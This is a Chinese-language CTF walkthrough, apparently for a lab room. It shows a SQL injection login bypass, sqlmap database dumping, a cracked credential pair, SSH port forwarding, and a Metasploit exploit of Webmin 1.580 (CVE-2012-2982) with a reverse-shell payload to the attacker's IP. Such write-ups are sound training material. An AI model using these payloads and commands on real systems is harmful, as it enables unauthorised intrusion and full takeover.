1、部署房间 namp常规扫描 有22 80端口
百度识图,动漫人物为杀手47中的agent47
What is the name of the large cartoon avatar holding a sniper on the forum?
ag:agent47
2、在登录界面使用万能密码登录 用户名: 'or 1=1 -- - 密码为空
搜素框有sql注入,bp抓包,用sqlmap跑
sqlmap -r Ganmzone.txt --dbms=mysql --dump
另一个表 sqlmap -r Ganmzone.txt --dbms=mysql -D=db --tables
使用join对hash密码进行解密 ,得到用户名密码:agent47/videogamer124
3、ssh连接 ssh agent47@10.10.112.19 ,得到user flag
ss -tulpn 查看tcp 连接,5个tcp连接
ssh -L 10000:localhost:10000 agent47@10.10.112.19,将目标系统的10000端口映射到本地10000端口,在访问本地的10000端口,进而访问服务
用户名密码:agent47/videogamer124进行登录,对应cms为webmin1.580,
存在漏洞 ,编号为CVE-2012-2982
使用msf ,搜索漏洞编号,使用对应模块,
search cve-2012-2982
use 0
options //修改对应参数
set payload cmd/unix/reverse
set rhost 127.0.0.1
set lhost 10.11.63.209
set ssl false//10000端口已经转发到我们计算机上的端口 上了
run
在/root下的root,txt为第二个flag